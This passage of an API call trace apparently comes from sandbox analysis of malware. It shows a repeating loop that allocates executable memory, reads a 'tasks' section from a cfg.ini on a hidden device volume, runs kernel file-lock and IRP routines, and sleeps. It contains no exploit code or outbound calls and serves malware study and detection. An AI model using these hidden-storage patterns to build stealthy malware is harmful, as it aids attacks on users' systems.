flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.581] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.581] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.581] KeEnterCriticalRegion () [0124.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.581] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.581] IdePortDispatch () returned 0x103 [0124.581] KeWaitForMutexObject () returned 0x0 [0124.581] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.581] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.581] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.581] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.581] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.581] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1190 [0124.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.581] KeLeaveCriticalRegion () [0124.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.581] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.581] KeEnterCriticalRegion () [0124.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.581] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.581] KeLeaveCriticalRegion () [0124.581] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.582] KeEnterCriticalRegion () [0124.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.582] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.582] IdePortDispatch () returned 0x103 [0124.582] KeWaitForMutexObject () returned 0x0 [0124.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.582] KeLeaveCriticalRegion () [0124.582] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.582] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.582] KeEnterCriticalRegion () [0124.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.582] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003582000 [0124.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.582] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.582] IdePortDispatch () returned 0x103 [0124.582] KeWaitForMutexObject () returned 0x0 [0124.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.582] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.582] IdePortDispatch () returned 0x103 [0124.583] KeWaitForMutexObject () returned 0x0 [0124.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] KeLeaveCriticalRegion () [0124.583] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.583] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.583] KeEnterCriticalRegion () [0124.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] KeLeaveCriticalRegion () [0124.583] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.583] KeEnterCriticalRegion () [0124.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.583] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] KeLeaveCriticalRegion () [0124.583] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.583] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.583] KeEnterCriticalRegion () [0124.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] ExFreePoolWithTag (P=0xfffffa8003bf1190, Tag=0x0) [0124.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.583] KeLeaveCriticalRegion () [0124.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.584] ReleaseMutex (hMutex=0xf0) returned 1 [0124.584] Sleep (dwMilliseconds=0x927c0) [0124.598] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.598] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.599] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.599] KeEnterCriticalRegion () [0124.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.599] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.599] IdePortDispatch () returned 0x103 [0124.599] KeWaitForMutexObject () returned 0x0 [0124.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.599] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.599] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.599] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.599] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.599] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17f0 [0124.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.599] KeLeaveCriticalRegion () [0124.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.599] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.599] KeEnterCriticalRegion () [0124.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.599] KeLeaveCriticalRegion () [0124.599] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.599] KeEnterCriticalRegion () [0124.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.599] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.599] IdePortDispatch () returned 0x103 [0124.599] KeWaitForMutexObject () returned 0x0 [0124.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.600] KeLeaveCriticalRegion () [0124.600] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.600] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.600] KeEnterCriticalRegion () [0124.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.600] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003587000 [0124.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.600] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.600] IdePortDispatch () returned 0x103 [0124.600] KeWaitForMutexObject () returned 0x0 [0124.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.600] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.600] IdePortDispatch () returned 0x103 [0124.600] KeWaitForMutexObject () returned 0x0 [0124.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] KeLeaveCriticalRegion () [0124.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.601] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.601] KeEnterCriticalRegion () [0124.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] KeLeaveCriticalRegion () [0124.601] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.601] KeEnterCriticalRegion () [0124.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.601] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] KeLeaveCriticalRegion () [0124.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.601] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.601] KeEnterCriticalRegion () [0124.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] ExFreePoolWithTag (P=0xfffffa8003bf17f0, Tag=0x0) [0124.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.601] KeLeaveCriticalRegion () [0124.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.601] ReleaseMutex (hMutex=0xf0) returned 1 [0124.601] Sleep (dwMilliseconds=0x927c0) [0124.616] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.616] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.616] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.616] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.616] KeEnterCriticalRegion () [0124.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.616] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.616] IdePortDispatch () returned 0x103 [0124.616] KeWaitForMutexObject () returned 0x0 [0124.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2330 [0124.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.616] KeLeaveCriticalRegion () [0124.616] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.617] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.617] KeEnterCriticalRegion () [0124.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.617] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.617] KeLeaveCriticalRegion () [0124.617] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.617] KeEnterCriticalRegion () [0124.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.617] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.617] IdePortDispatch () returned 0x103 [0124.617] KeWaitForMutexObject () returned 0x0 [0124.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.617] KeLeaveCriticalRegion () [0124.617] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.617] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.617] KeEnterCriticalRegion () [0124.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800358c000 [0124.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.617] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.617] IdePortDispatch () returned 0x103 [0124.618] KeWaitForMutexObject () returned 0x0 [0124.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.618] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.618] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.618] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.618] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.618] IdePortDispatch () returned 0x103 [0124.618] KeWaitForMutexObject () returned 0x0 [0124.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.618] KeLeaveCriticalRegion () [0124.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.618] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.618] KeEnterCriticalRegion () [0124.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.618] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.618] KeLeaveCriticalRegion () [0124.618] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.618] KeEnterCriticalRegion () [0124.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.618] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.618] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf23f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.619] KeLeaveCriticalRegion () [0124.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.619] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.619] KeEnterCriticalRegion () [0124.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.619] ExFreePoolWithTag (P=0xfffffa8003bf2330, Tag=0x0) [0124.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.619] KeLeaveCriticalRegion () [0124.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.619] ReleaseMutex (hMutex=0xf0) returned 1 [0124.619] Sleep (dwMilliseconds=0x927c0) [0124.633] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.633] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.633] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.633] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.633] KeEnterCriticalRegion () [0124.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.633] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.633] IdePortDispatch () returned 0x103 [0124.633] KeWaitForMutexObject () returned 0x0 [0124.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.634] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.634] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.634] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.634] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.634] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17f0 [0124.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.634] KeLeaveCriticalRegion () [0124.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.634] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.634] KeEnterCriticalRegion () [0124.634] ExAcquireFastMutexUnsafe (in: 